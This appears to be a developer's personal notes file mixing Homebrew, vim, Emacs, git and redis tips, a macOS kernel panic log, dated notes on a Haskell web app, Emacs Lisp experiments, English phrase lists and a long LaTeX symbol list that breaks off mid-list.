agda-2.5.4.1.high_sierra.bottle.tar.gz ==> Caveats To use the Agda standard library by default: mkdir -p ~/.agda echo /usr/local/lib/agda/standard-library.agda-lib >>~/.agda/libraries echo standard-library >>~/.agda/defaults Emacs Lisp files have been installed to: /usr/local/share/emacs/site-lisp/agda ==> Summary 🍺 /usr/local/Cellar/agda/2.5.4.1: 1,369 files, 120MB ==> Caveats ==> emacs Please try the Cask for a better-supported Cocoa version: brew cask install emacs To have launchd start emacs now and restart at login: brew services start emacs Or, if you don't want/need a background service you can just run: emacs ==> agda To use the Agda standard library by default: mkdir -p ~/.agda echo /usr/local/lib/agda/standard-library.agda-lib >>~/.agda/libraries echo standard-library >>~/.agda/defaults Emacs Lisp files have been installed to: /usr/local/share/emacs/site-lisp/agda -------------------------------------------------------------------------------- python3 -m pip install package_name /usr/local/opt/python/bin/python3.7 -m pip install -U pylint --user -------------------------------------------------------------------------------- rabbit message queue, rabbitmq /usr/local/Cellar/rabbitmq/3.7.16/sbin -------------------------------------------------------------------------------- find all modules are installed In console help('modules') -------------------------------------------------------------------------------- my git server .git/config [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true ignorecase = true precomposeunicode = true [remote "origin"] url = https://zsurface@bitbucket.org/zsurface/python.git url = git@uwspace.com:/home/git/bitbucket/python fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] remote = origin merge = refs/heads/master -------------------------------------------------------------------------------- https://redis.io/topics/rediscli redis command line redis-cli --stat login to redis redis-cli select database > database 0 > keys try* => all key starts with try -------------------------------------------------------------------------------- xcode binary file default dir Menu => References => Location ~/Library/Developer/Xcode/DerivedData -------------------------------------------------------------------------------- Fri Oct 18 11:05:15 2019 0. add has('nvim') to for missing job_start() in vimrc file 1. changed $tt/ele/main.js to read *.html 2. Just realize I passed an empty dict to job_start() inside JavaDef() 3. Create cmake example under bitbucket 4. Create shell function to get file modification time 5. HaskellDef() change s:popupshare to *.txt from *.html causes Electron can not read show any data from Vim timer 6. fixed file name issue => from *.txt to *.html 7. Electron UI is a bit slow for large file(HTML) when the file is read 8. Swift UI is faster 9. SnippetHttp is text file now, change to Html if you use Electron UI. -------------------------------------------------------------------------------- Language Identifier Language Identifier Asymptote ‘asymptote’ Lua ‘lua’ Awk ‘awk’ MATLAB ‘matlab’ C ‘C’ Mscgen ‘mscgen’ C++ ‘C++’144 OCaml ‘ocaml’ Clojure ‘clojure’ Octave ‘octave’ CSS ‘css’ Org mode ‘org’ D ‘D’145 Oz ‘oz’ ditaa ‘ditaa’ Perl ‘perl’ Emacs Calc ‘calc’ Plantuml ‘plantuml’ Emacs Lisp ‘emacs-lisp’ Processing.js ‘processing’ Fortran ‘fortran’ Python ‘python’ Gnuplot ‘gnuplot’ R ‘R’ GNU Screen ‘screen’ Ruby ‘ruby’ Graphviz ‘dot’ Sass ‘sass’ Haskell ‘haskell’ Scheme ‘scheme’ Java ‘java’ Sed ‘sed’ Javascript ‘js’ shell ‘sh’ LaTeX ‘latex’ SQL ‘sql’ Ledger ‘ledger’ SQLite ‘sqlite’ Lilypond ‘lilypond’ Vala ‘vala’ Lisp ‘lisp’ -------------------------------------------------------------------------------- emacs org mode, run code block, run block code #+NAME: run_shortcut #+BEGIN_SRC sh :wrap src sh :exports results #sed -n 1,4p /Users/cat/myfile/bitbucket/snippets/snippet.hs #+END_SRC -------------------------------------------------------------------------------- Fri Nov 22 11:21:18 2019 emacs org-mode code block templates URL: https://orgmode.org/manual/Easy-templates.html#Easy-templates s #+BEGIN_SRC ... #+END_SRC e #+BEGIN_EXAMPLE ... #+END_EXAMPLE q #+BEGIN_QUOTE ... #+END_QUOTE v #+BEGIN_VERSE ... #+END_VERSE c #+BEGIN_CENTER ... #+END_CENTER C #+BEGIN_COMMENT ... #+END_COMMENT l #+BEGIN_EXPORT latex ... #+END_EXPORT L #+LATEX: h #+BEGIN_EXPORT html ... #+END_EXPORT H #+HTML: a #+BEGIN_EXPORT ascii ... #+END_EXPORT A #+ASCII: i #+INDEX: line I #+INCLUDE: line -------------------------------------------------------------------------------- Fri Nov 22 11:21:03 2019 C programming tutorial How to modify argument value after a function call. Pass parameter as a pointer to function int x = 0; void fun(int* x){ int n = 10; *x = n + 1; } printf("%d", x) // => 11 x will be modified after fun is called int x = 0; void fun1(int x){ int n = 10; x = n + 1; } printf("%d", x) // => 0 -------------------------------------------------------------------------------- Tue Nov 26 14:16:39 2019 https://stackoverflow.com/questions/7570372/keyword-local-completion-doesnt-work-with-loaded-buffers-in-vim " CTRL-n " autocomplete or auto complete on loaded buffers set complete+=.,w,b,u,t,i -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- emacs add dictionary https://emacs.stackexchange.com/questions/5938/how-to-make-auto-complete-work-in-auctex-mode -------------------------------------------------------------------------------- Sun Dec 1 15:34:48 2019 KEY: Vim command line history store vim command line history, use different viminfo file. https://vi.stackexchange.com/questions/361/how-is-command-history-resolved-between-multiple-instances-of-vim -------------------------------------------------------------------------------- Sun Dec 1 15:37:12 2019 g++ compile cpp to object file and use linker to link them https://courses.cs.washington.edu/courses/cse326/00wi/unix/g++.html -------------------------------------------------------------------------------- Sun Dec 1 16:49:19 2019 vim runtime path :echo $MYVIMRC :echo $VIMRUNTIME :echo &runtimepath :set runtimepath += /myotherpath/ * Tue Oct 1 13:00:02 2019 * bitbucket/dotvim is not used any more, delete it please! * Currently, Console Vim and MacVim both use the $b/vimruntime/runtime directory -------------------------------------------------------------------------------- Sun Dec 1 17:43:40 2019 vim look behind and look ahead foo foobar barfood :s/\v(bar)@<=foo//gc => foo foobar bard , remove foo precede with bar :s/\v(bar)@ bar barfood , remove foo NOT precede with bar :s/\vfoo(bar)@=//gc => foo bar barfood , remove foo following bar :s/\vfoo(bar)@!//gc => foobar bard , remove foo NOT following bar can be replaced with \zs \ze -------------------------------------------------------------------------------- Mon Dec 2 13:18:12 2019 git gitignore pound sign (#) https://stackoverflow.com/questions/2209810/add-glob-to-gitignore [#]*[#] [#].*[#] does not work, why? -------------------------------------------------------------------------------- Mon Jan 6 11:48:15 2020 Try to fix tmux copy to clipboard, with vim mode y to copy selected text to clipboard Google around, you need to install install or upgrade: brew upgrade reattach-to-user-namespace -------------------------------------------------------------------------------- DATE: Thu Jan 23 14:36:52 2020 KEY: doxygen, change color theme, cpp doxygen doxygen.css under /Library/WebServer/Documents/xfido/htmlcppdoc/html/doxygen.css -------------------------------------------------------------------------------- DATE: Sat Apr 18 12:11:53 2020 KEY: MacOS crash log panic(cpu 4 caller 0xffffff7f81f8c55f): GPU Panic: mux-regs 3 0 a0 d9 9 8 severity 3 WS-ready 0 switch-state 0 IG FBs 0 EG FBs 0:0 power-state 0 3D idle HDA idle system-state 0 power-level 20:20 power-retry 0 connect-change 0 : NVRM[0/1:0:0]: Read Error 0x00000100: CFG 0xffffffff 0xffffffff 0xffffffff, BAR0 0xc0000000 0xffffff91159fc000 0x0e7150a2, D0, P3/4 Backtrace (CPU 4), Frame : Return Address 0xffffff811003acb0 : 0xffffff80003215cd 0xffffff811003ad00 : 0xffffff800045a3c5 0xffffff811003ad40 : 0xffffff800044bf7e 0xffffff811003ad90 : 0xffffff80002c7a40 0xffffff811003adb0 : 0xffffff8000320c97 0xffffff811003aeb0 : 0xffffff8000321087 0xffffff811003af00 : 0xffffff8000ac2c7c 0xffffff811003af70 : 0xffffff7f81f8c55f 0xffffff811003afd0 : 0xffffff7f811fb2f1 0xffffff811003b050 : 0xffffff7f812c811b 0xffffff811003b0b0 : 0xffffff7f812c81c8 0xffffff811003b0e0 : 0xffffff7f834a991e 0xffffff811003b130 : 0xffffff7f834a96c0 0xffffff811003b1d0 : 0xffffff7f834c5190 0xffffff811003b210 : 0xffffff7f8135bd69 0xffffff811003b240 : 0xffffff7f8135a7ca 0xffffff811003b280 : 0xffffff7f8135bce4 0xffffff811003b2b0 : 0xffffff7f833e4ea4 0xffffff811003b2e0 : 0xffffff7f833db652 0xffffff811003b380 : 0xffffff7f833dbb66 0xffffff811003b3e0 : 0xffffff7f81211537 0xffffff811003b430 : 0xffffff7f833e04fe 0xffffff811003b590 : 0xffffff7f833e09fb 0xffffff811003b620 : 0xffffff7f81214313 0xffffff811003b650 : 0xffffff7f81303ce4 0xffffff811003b6d0 : 0xffffff7f8130387d 0xffffff811003b700 : 0xffffff7f8130c403 0xffffff811003b710 : 0xffffff7f812c524e 0xffffff811003b750 : 0xffffff7f812c4aed 0xffffff811003b7a0 : 0xffffff7f811b3fe5 0xffffff811003b7c0 : 0xffffff7f811fdb7a 0xffffff811003b7e0 : 0xffffff7f811fe422 0xffffff811003b980 : 0xffffff7f811fe5e8 0xffffff811003ba20 : 0xffffff7f811907af 0xffffff811003baa0 : 0xffffff7f8118ffe9 0xffffff811003bb00 : 0xffffff7f81191dd4 0xffffff811003bb40 : 0xffffff7f8112c17e 0xffffff811003bbc0 : 0xffffff7f811229ac 0xffffff811003bc50 : 0xffffff7f81192f61 0xffffff811003bca0 : 0xffffff8000a023a9 0xffffff811003bd00 : 0xffffff8000a5d1a9 0xffffff811003bd60 : 0xffffff8000409671 0xffffff811003bdb0 : 0xffffff8000327328 0xffffff811003be10 : 0xffffff80002fdcc5 0xffffff811003be70 : 0xffffff8000314aa2 0xffffff811003bf00 : 0xffffff8000432605 0xffffff811003bfa0 : 0xffffff80002c8226 Kernel Extensions in backtrace: com.apple.driver.AppleMuxControl(5.1.16)[752AF0B9-36EE-3D7D-8513-563F544245B2]@0xffffff7f81f7d000->0xffffff7f81f90fff dependency: com.apple.driver.AppleGraphicsControl(5.1.16)[B2381909-ADF2-3459-AA30-4D8D2DC2AF73]@0xffffff7f81f49000 dependency: com.apple.iokit.IOACPIFamily(1.4)[9D1FF279-C4A2-3344-902F-E0B22B508689]@0xffffff7f819c3000 dependency: com.apple.iokit.IOPCIFamily(2.9)[1B1F3BBB-9212-3CF9-94F8-8FEF0D3ACEC4]@0xffffff7f80d31000 dependency: com.apple.iokit.IOGraphicsFamily(575.1)[D47CA481-C5E5-3F03-9B04-6634DF5F3121]@0xffffff7f81113000 dependency: com.apple.AppleGraphicsDeviceControl(5.1.16)[56FDE242-D4A6-3E8F-A81C-CE9BA61E3828]@0xffffff7f81182000 com.apple.nvidia.driver.NVDAResman(14.0)[ECB33CB3-2FE3-3E99-A4E6-ED7C5DA6D543]@0xffffff7f8118e000->0xffffff7f81465fff dependency: com.apple.iokit.IOPCIFamily(2.9)[1B1F3BBB-9212-3CF9-94F8-8FEF0D3ACEC4]@0xffffff7f80d31000 dependency: com.apple.iokit.IONDRVSupport(575.1)[F0DC1D84-2124-387D-A8DD-B40C6023AD3B]@0xffffff7f81172000 dependency: com.apple.iokit.IOGraphicsFamily(575.1)[D47CA481-C5E5-3F03-9B04-6634DF5F3121]@0xffffff7f81113000 dependency: com.apple.AppleGraphicsDeviceControl(5.1.16)[56FDE242-D4A6-3E8F-A81C-CE9BA61E3828]@0xffffff7f81182000 com.apple.nvidia.driver.NVDAGK100Hal(14.0)[D9BD5415-852D-3F99-B5D9-9E4FD7CABEEC]@0xffffff7f833b1000->0xffffff7f8355cfff dependency: com.apple.nvidia.driver.NVDAResman(14.0.0)[ECB33CB3-2FE3-3E99-A4E6-ED7C5DA6D543]@0xffffff7f8118e000 dependency: com.apple.iokit.IOPCIFamily(2.9)[1B1F3BBB-9212-3CF9-94F8-8FEF0D3ACEC4]@0xffffff7f80d31000 BSD process name corresponding to current thread: WindowServer Boot args: -x Mac OS version: 19E266 Kernel version: Darwin Kernel Version 19.4.0: Wed Mar 4 22:28:40 PST 2020; root:xnu-6153.101.6~15/RELEASE_X86_64 Kernel UUID: AB0AA7EE-3D03-3C21-91AD-5719D79D7AF6 __HIB text base: 0xffffff8000100000 System model name: MacBookPro10,1 (Mac-C3EC7CD22292981F) System shutdown begun: NO Panic diags file available: YES (0x0) System uptime in nanoseconds: 35809438493 last loaded kext at 34179534062: >AGPM 111.4.4 (addr 0xffffff7f83957000, size 159744) loaded kexts: >AGPM 111.4.4 >X86PlatformShim 1.0.0 >!AGraphicsDevicePolicy 5.1.16 @Dont_Steal_Mac_OS_X 7.0.0 @filesystems.autofs 3.0 >!ALPC 3.1 >AGDCBacklightControl 5.1.16 >!ABacklight 180.3 >!A!IFramebufferCapri 14.0.5 @nvidia.NVDAStartup 14.0.0 >ACPI_SMC_PlatformPlugin 1.0.0 >!AMCCSControl 1.11 >!AMuxControl 5.1.16 |IO!BUSBDFU 7.0.4f6 >!UTCKeyEventDriver 255 >!UTCKeyboard 255 >!UTCButtons 255 >!AFileSystemDriver 3.0.1 @filesystems.hfs.kext 522.100.5 @!AFSCompression.!AFSCompressionTypeDataless 1.0.0d1 @BootCache 40 @!AFSCompression.!AFSCompressionTypeZlib 1.0.0 @filesystems.apfs 1412.101.1 @private.KextAudit 1.0 >!ASDXC 1.7.7 |!ABCM5701Ethernet 10.3.5 >AirPort.Brcm4360 1400.1.1 >!AAHCIPort 341.0.2 >!ASmartBatteryManager 161.0.0 >!ARTC 2.0 >!AACPIButtons 6.1 >!AHPET 1.8 >!ASMBIOS 2.1 >!AACPIEC 6.1 >!AAPIC 1.7 >!A!ICPUPowerManagementClient 222.0.0 $!AImage4 1 @nke.applicationfirewall 303 $TMSafetyNet 8 @!ASystemPolicy 2.0.0 >!A!ICPUPowerManagement 222.0.0 |EndpointSecurity 1 @kext.triggers 1.0 @nvidia.driver.NVDAGK100Hal 14.0.0 @nvidia.driver.NVDAResman 14.0.0 >!ABacklightExpert 1.1.0 |IOAccelerator!F2 438.4.5 |IONDRVSupport 575.1 @!AGPUWrangler 5.1.16 >IOPlatformPluginLegacy 1.0.0 >X86PlatformPlugin 1.0.0 >IOPlatformPlugin!F 6.0.0d8 >!ASMBusPCI 1.0.14d1 >!ASMBus!C 1.0.18d1 @!AGraphicsDeviceControl 5.1.16 |IOGraphics!F 575.1 >!AGraphicsControl 5.1.16 |Broadcom!BHost!CUSBTransport 7.0.4f6 |IO!BHost!CUSBTransport 7.0.4f6 |IO!BHost!CTransport 7.0.4f6 |IO!B!F 7.0.4f6 |IO!BPacketLogger 7.0.4f6 >!UMultitouch 264 >usb.IOUSBHostHIDDevice 1.2 >usb.cdc 5.0.0 >usb.networking 5.0.0 >usb.!UHostCompositeDevice 1.2 >usb.!UHub 1.2 |IOSerial!F 11 @filesystems.hfs.encodings.kext 1 |IOSurface 269.11 >!AThunderboltDPInAdapter 6.2.6 >!AThunderboltDPAdapter!F 6.2.6 >!AThunderboltPCIDownAdapter 2.5.4 >!AXsanScheme 3 >!AThunderboltNHI 5.8.6 |IOThunderbolt!F 7.6.0 |IOAHCIBlock!S 316.100.5 |IOEthernetAVB!C 1.1.0 |IO80211!F 1200.12.2b1 |IOSkywalk!F 1 >mDNSOffloadUserClient 1.0.1b8 >corecapture 1.0.4 |IOAHCI!F 290.0.1 >usb.!UEHCIPCI 1.2 >usb.!UEHCI 1.2 >usb.!UXHCIPCI 1.2 >usb.!UXHCI 1.2 >usb.!UHostPacketFilter 1.0 |IOUSB!F 900.4.2 >!AEFINVRAM 2.1 >!AEFIRuntime 2.1 |IOSMBus!F 1.1 |IOHID!F 2.0.0 $quarantine 4 $sandbox 300.0 @kext.!AMatch 1.0.0d1 >DiskImages 493.0.0 >!AFDEKeyStore 28.30 >!AEffaceable!S 1.0 >!AKeyStore 2 >!UTDM 489.101.1 |IOSCSIBlockCommandsDevice 422.101.1 >!ACredentialManager 1.0 >KernelRelayHost 1 >!ASEPManager 1.0.1 >IOSlaveProcessor 1 |IOUSBMass!SDriver 157.101.3 |IOSCSIArchitectureModel!F 422.101.1 |IO!S!F 2.1 |IOUSBHost!F 1.2 >!UHostMergeProperties 1.2 >usb.!UCommon 1.0 >!ABusPower!C 1.0 |CoreAnalytics!F 1 >!AMobileFileIntegrity 1.0.5 @kext.CoreTrust 1 |IOTimeSync!F 840.3 |IONetworking!F 3.4 |IOReport!F 47 >!AACPIPlatform 6.1 >!ASMC 3.1.9 >watchdog 1 |IOPCI!F 2.9 |IOACPI!F 1.4 @kec.pthread 1 @kec.Libm 1 @kec.corecrypto 1.0 -------------------------------------------------------------------------------- Thu 14 May 18:09:48 2020 1. Add stuff to indexWhatImdoing today 2. Do sth $sb/sshaddkey 3. Fixed ondblcick issue in haskellwebapp2 4. symlink to $h/sshaddkey.hs -------------------------------------------------------------------------------- Fri 15 May 14:18:49 2020 KEY: pdf reader, pdf viewer, latex reader, pdf shell, latex shell Try to install zathura PDF viewer, latex viewer, latex viewer 1. can not install plugin?? Why? brew install zegervdv/zathura/zathura-djvu brew install zegervdv/zathura/zathura-pdf-poppler does not work so far. -------------------------------------------------------------------------------- 15-05-2020 TODO1: Add Ajax to 'update' command in haskellwebapp2 $b/jslib/aronlib.js 1. Create Ajax call to call a function on Server side DONE 2. Capture the codeblock from client side(from TextArea) and send it to Server 1. Refactor function readDatabaseCodeBlock to include primary key in the each codeblock 1. Refactor foldListList => foldListList2 Create type HMap2 = M.HashMap String [([String], Integer)] 2. foldListList2::([[String]] -> [[String]]) -> [([String], Integer)] -> String DONE 3. hiddenForm2 => take the primary id and store it in textarea or input tag responseSnippetHTML::Connection -> String -> IORef HMap-> Response => responseSnippetHTML::Connection -> String -> IORef HMap2 -> Response => HMap2 need a new function to create HMap2 Rewrite following code for HMap2 use Ajax requestPreFromRedis similar code to update codeblock in database use the function to Update codeblock? use doneTyping ? Click 'update' Update database with new codeblock old: newList <- readDatabaseCodeBlock2 conn snippetMap newList ref updateMap => snippetMap::[([String], [String])] -> IORef HMap -> IO () new: readDatabaseCodeBlock3::Connection -> IO [([String], [String], Integer)] updateMap => snippetMap2::[[(String], [String], Integer])] -> IORef Map2 -> IO() list <- readDatabaseCodeBlock3 snippetMap2 list ref2 = ... 19-04-2020 1. Created $sp/TestLib 2. Added HUnit to $sp/TestLib 19-05-2020 add Test cases in $sp/TestLib There is still issue for newline inside codeblock Can not split lines with plines Done with test cases: $sp/TestLib test8 newListX <- readDatabaseCodeBlock3 conn snippetMap2 newListX ref2 20-05-2020 1. Fixed Javascript error: Can not edit codeblock because getElementsById can not grasp 'f1' id on hiddenForm2, remove space between attributes in tag form 2. Fixed foldListList2 function, Use AronHtml2 module instead of AronHtml 21-05-2020 Fixed stupid error in AronHtml2.hs => createTag 1. Use "\n" instead of "
" 2. Use more spaces in the elements than it suppose to use Working when user click on the "update" button, We use Ajax to send the codeblock (UpdateCodeBlock{pid::String, newcode::String} to server once we update codeblock in the database(sqlite3), I want to send back "ok=true" (UpCodeBlock) to client side Does it work? not sure yet.. How to grasp the new code from textarea? Use t + pid as Id document.getElementsById('t1') => 1 is the pid from UpdateCodeBlock Issue: 1. Can not split newline when lines are inserted with 'INSERT' statement in sqlite3 2. Haved tried splitWhen and plines which is split '\n' '\r', "\r\n" 3. But lines can be splited when lines are insertd from Haskell code.(read file and insert then into table) -------------------------------------------------------------------------------- Mon 8 Jun 01:24:34 2020 1. try to add new feature to $scr/stackpro.sh, but there is error so far.. not been fixed yet diff file stackpro.diff in $b/publicfile 2. Add new feature branch in $scr => feature_stackpro -------------------------------------------------------------------------------- Mon 17 Aug 15:44:42 2020 KEY: grep exclude dir grep --exclude-dir='stack-work' -Hnris 'version' * -------------------------------------------------------------------------------- Tue 18 Aug 16:33:56 2020 KEY: ghci stack, haskell stack ghci stack ghci --ghci-options='-fno-ghci-sandbox ' -------------------------------------------------------------------------------- 27-08-2020 ;; This buffer is for text that is not saved, and for Lisp evaluation. ;; To create a file, visit it with C-x C-f and enter text in its buffer. (defun fun() "temporary, temporarily, plus is conjunction, not pulral" (msg "hi")) (setq animals '(dog cat cow calabi-yau-manifold)) (defun print-elements-of-list (list) "Print each element of LIST on a line of its own." (while list (print (car list)) (setq list (cdr list)))) (print-elements-of-list animals) ;; 0 1 2 3 4 5 ;; 1 1 2 3 5 8 (defun fab(n) "fibonacci sequence" (if (< n 3) n (+ (fab (- n 1)) (fab(- n 2))) ) ) (fab 5) (defun ⊗ (n) "Fibonacci sequence" (if (< n 3) n (+ (⊗ (- n 1)) (⊗ (- n 2))) ) ) (⊗ 5) (mapcar* '+ '(1 2) '(3 4) '(5 6)) (mapcar* '* '(1 2) '(4 5)) (require 'cl-lib') (cl-reduce #'+ '(1 2)) (defun sum(ls) "sum a list" (cl-reduce #'+ ls)) (defun zipWith(f s1 s2) "Haskell like zipWith" (mapcar* f s1 s2)) (zipWith '+ '(1 2) '(3 4)) (zipWith '* '(1 2) '(3 4)) (defun fromTo(n1 n2) "from n1 to n2" (if (= n1 n2) (cons n1 nil) (if (< n1 n2) (append (+ n1 1) (fromTo (+ n1 1) n2)) nil) )) (fromTo 1 2) -------------------------------------------------------------------------------- 01-12-2020 receiveEditorData::Connection -> IORef HMap2 -> Application 1. Generate random Key and random Latex file name in sqlite3, or Redis 134 -> (latex123.tex, indexlatex123.html) 2. Send URL to client side xfido.com/editordata?id=123 3. When User use the URL = xfido.com/editordata?id=123 1. Send indexlatex123.html to client side, 2. Run ajax inside indexlatex123.html 3. send URL xfido.com/aceeditor?id=123 to Server with editCmd = "compile" 1. runOnExternalProgram compile latex123.tex 0 Use id=123 to find latex123.tex and compile it Response back latex123.pdf if compilation is successful. -------------------------------------------------------------------------------- prove 1 == 2 using Haskell Regex let n = "\\" let m = "\\\\" let n' = subRegex(mkRegex "abc") "abc" n let m' = subRegex(mkRegex "abc") "abc" m because n' == m' => n == m => length n == length m => 1 == 2 -- GHC resolver 16.17 ghc 8.8.4 -- stack ls dependencies | grep regex regex 1.1.0.0 regex-base 0.94.0.0 regex-compat 0.95.2.0 regex-pcre-builtin 0.95.1.2.8.43 regex-posix 0.96.0.0 regex-tdfa 1.3.1.0 -------------------------------------------------------------------------------- 10-12-2020 Thanks for waiting for your coffee while waiting for your coffee Thing everyone thinks while waiting in line at Starbucks Thing everyone thinks when waiting in line at Starbucks -------------------------------------------------------------------------------- mybus:*: my bus, bus schedule Gilbert Rd at Williams Rd Northbound Stop # 56809 -------------------------------------------------------------------------------- Wed Aug 4 14:55:50 2021 I just found a bug in prettyBin(root) in javalib prettyBin only print the root node. -------------------------------------------------------------------------------- Sun 29 Aug 16:26:27 2021 https://www.cin.ufpe.br/~djo/files/Lambda-Calculus%20and%20Combinators.pdf Finally, I got kind of the idea what is "abstraction" in lambda calculus Do I really get the idea what is "abstraction" in lambda calculus? x is any variable, lambda-term is any lambda term (\lambda x lambda-term) is called abstraction, it is lambda-term It seems to me every think is lambda term? all variables and constants are lambda term -------------------------------------------------------------------------------- Mon 6 Sep 13:20:12 2021 macbook pro new, boost_filesystem and boost_system /usr/local/include /Users/aaa/myfile/bitbucket/cpplib/boost_1_75_0 -------------------------------------------------------------------------------- Tuesday, 12 October 2021 22:15 PDT #!/usr/local/bin/python3 -------------------------------------------------------------------------------- Wednesday, 10 November 2021 16:11 PST set bash use inputrc file $b/shell/inputrc file /etc/inputrc file -------------------------------------------------------------------------------- $\color{red}{delete()}$ $\color{yellow}{\textbf{abc}$ $\mathbf{A}$ $\mathbf{B}$ $\mathbf{C}$ $\mathbf{I}$ $\mathbf{P}$ $\mathbf{Q}$ $\mathcal{O}(2^n)$ $\mathcal{O}(\log{}n)$ $\mathcal{O}(n)$ $\mathcal{O}(n\log{}n)$ $\mathcal{O}(n^2)$ -1\left[ \begin{array}{c} -ASCII -like /Library/WebServer/Documents/zsurface/randomNote.txt /Users/cat/myfile/bitbucket/testfile/test.txt circuit ACID - Atomicity, Consistency, Isolation, Durability Acquire a lock for this user Afghan Algebraic Datatype Antonym - a word opposite in meaning to another AronModule.hs Apparently the bird can fly. Apple just unveils some new iPhone. iPhone 11, iPhone 11 Pro and iPhone 11 Pro Max. Aron.printList(list); ArrayList list ArrayList list = new ArrayList<>(); ArrayList list = new ArrayList(); ArrayList list ArrayList list = new ArrayList<>(); ArrayList list = new ArrayList(); ArrayList list ArrayList list = new ArrayList<>(); ArrayList list = new ArrayList(); Australia Australian Auxiliaries Map linkedHashMap = new LinkedHashMap<>(); Bellevue BiFunction f = (x, y) -> x.firstName.compareTo(y.firstName); Binary Search Tree Binary Search Tree[BST] Binary Tree BufferedReader br = new BufferedReader(FileReader(file)); BufferedReader in = new BufferedReader(new FileReader(fileName)); BufferedWriter bw = new BufferedWriter(new FileWriter(file)); Bugfix: Escape special characters. Caramel Macchiato Clipboard Comparator Compparable Context Switch conceal Could you give me an update on the Could you give me an update on the interview. Depending on whether we have crawled before, give it a different priority. Does anyone know how to do it? Does anyone know how to resolve it? Dynamic Programming Engineer Engineers Even though it is sunny, I still prefer to take my umbrella to work Finally he come back here. Friday Give highter priority to URLs we have never crawled before. Given the lengths of edges of triangle ABC, we can compute the area of the triangle. HashMap<>(); Haskell Homeomorphic Homeomorphism Homomorphic Homomorphism How to check if a string contains a substring(ignoring case) How to read a file and store into an ArrayList How to read a text file into a list of string How to read a text file into an ArrayList How to read a text file into an ArrayList of string However - We will leave next year; However, peter is leaving now. I split the string into many keywords which are then used for Google searches. I still prefer to take my umbrella to school even though it is sunny I studied Computer Science in University of Waterloo. I used to eat meat but I became a vegetarian 5 year ago. I will still play soccer even if there is earth equake or tsunami I'm eager to learn new things and interested in solving problems. I'm getting used to drive in the night. I'm open to new opportunities. I'm still struggling I'm surprised that you can do that I'm used to the weird food now. In Regex, match eigher the end of string or specific string In most of cases, you can use Run/Debug configuration profiles for your plugin projects. In most of cases, you can use your Run/Debug configuration profiles for your plugin projects. In my opinion, In other words - In other words, grammar is useful skill[conjunctive adverb] In other words - In other words, you can't match the guy In other words, 'a' matches 'A' In reverse order Insert Mode Interpreted It DOES NOT work in Insert mode It appears he is is smart kid. It is grammatically correct. It is impossible to It is impossible to do so It is surprised to It is surprised to know that. It is working. It seems to me It seems to me that he is smart kid It works in Normal mode Javascript Jeff Bezos Jeff Bezos's Biosphere Johnny Sohn Least Common Ancestor LinkedList List> list2d = new ArrayList>(); List ls = new ArrayList<>(); List list = List list = new ArrayList<>(); List list = new ArrayList(); List list0 = new ArrayList<>(); List list1 = new ArrayList<>(); List list2 = new ArrayList<>(); List ls = new ArrayList<>(); List list = new ArrayList<>(); List list = List list = new ArrayList<>(); List list = new ArrayList(); List list0 = new ArrayList<>(); List list1 = new ArrayList<>(); List list2 = new ArrayList<>(); List ls = new ArrayList<>(); M_{x}(\beta) & =\begin{bmatrix} M_{y}(\beta) & =\begin{bmatrix} M_{z}(\beta) & =\begin{bmatrix} Malaysia Map map = new HashMap<>(); Map map, Map map = new HashMap<>(); Map map, Map map = new HashMap<>(); Map map, Map map = new HashMap<>(); Map map, Melbourne Merge Sort Algorithm average runtime is $\mathcal{O}(n\log{}n)$ Michael Michelle Microsoft Monday Morgan Stanley Muslim NP-complete problems Normal mode Note that when you use bracket expression, every character within it (with some exceptions) is going to be interpreted literally Numeric - numeric and alphabetic, numeric keypad - in Computer Numerical - numerical value, numerical expression in Mathematics - Alphabetical [alphabetical order ] On the other hands - Living in code climate is difficult for some people; on the other hand, there are many fun winter activities such as sleding, that you can can't do in warm climate. Pythagorean Theorem pythagorean theorem Mandlebrot Set hypotenuse right-angled triangle Queue queue = new LinkedList<>(); Queue queue = new LinkedList<>(); Queue queue = new LinkedList<>(); Quick Sort algorithm Quick Sort algorithm average runtime is $\mathcal{O}(n\log{}n)$ QuickSort algorithm Read a file into a list of string Read a file line by line into ArrayList Read file into ArrayList Read file into list of string Read the contents of a file and place them into a list of string Reddis is memcache key-value datastore Regex search left and right, and once the character has been used, it can not be reused. Release the lock for this user Return a index within the string of first(last) occurrence of the specific string Saturday Seattle Serialization Serialize Set set = new HashSet<>(); She used to be long distance runner when she was younger. Singleton Software Engineer Stack stack = new Stack<>(); Stack stack = new Stack<>(); Stack stack = new Stack<>(); StarBucks Stephanie StopWatch sw = new StopWatch(); sw.start(); sw.printTime(); String fname = "/Users/cat/myfile/bitbucket/testfile/test.txt"; String s = System.getProperty("path.separator"); Sunday Sydney Synonym - a word or phrase that means exactly or nearly the same as another word or phrase in the same language, for example shut is a synonym of close. Technically Technically speaking Technologies Thank you for contacting me. The API is deprecated The function is deprecated The worst runtime Theorically Thesaurus - a similar meaning word. Thursday To run and debug the plugin from within Intellij IDEA, you need a special configuration profile that specified the class to run, VM parameters and other options. Topology Tuesday University University University of Waterloo University of Waterloo We use different technologies to facilitate communication with our customers. Wednesday Would you give me an update on xxx Would you like to You can not You need to know Yuhui Wang \AE \APLbox \APLcirc \APLcomment \APLdown \APLdownarrowbox \APLinput \APLinv \APLleftarrowbox \APLlog \APLminus \APLnot \APLrightarrowbox \APLstar \APLup \APLuparrowbox \APLvert \Aquarius \Aries \Arrownot \Arrowvert \Bat \Bbbk \Beam \Bearing \Bicycle \Bowtie \Box \Bumpeq \CEsign \CIRCLE \Cancer \Cap \Capricorn \Celtcross \CheckedBox \Checkedbox \Circle \Circles \Circpipe \Clocklogo \Coffeecup \Corresponds \Cross \Crossedbox \Cup \Cutleft \Cutline \Cutright \DH \DOWNarrow \Delta \Diamond \Downarrow \EUR \EURcr \EURhv \EURtm \FAX \FHBOLOGO \FHBOlogo \Faxmachine \Finv \Fixedbearing \Flatsteel \Football \Force \Frowny \Game \Gamma \Gemini \HF \Heart \Huge \Im \Industry \Info \Join \Jupiter \Kross \Kutline \L \LEFTCIRCLE \LEFTarrow \LEFTcircle \LHD \Lambda \Large \Lbag \Leftarrow \Leftcircle \Leftrightarrow \Leftscissors \Lefttorque \Leo \Letter \Libra \Lightning \Lineload \Lleftarrow \Longleftarrow \Longleftrightarrow \Longmapsfrom \Longmapsto \Longrightarrow \Loosebearing \Lsh \Lsteel \MVA \MVAt \MVEight \MVFive \MVFour \MVNine \MVOne \MVSeven \MVSix \MVThree \MVTwo \MVZero \MVp \Manfront \Manside 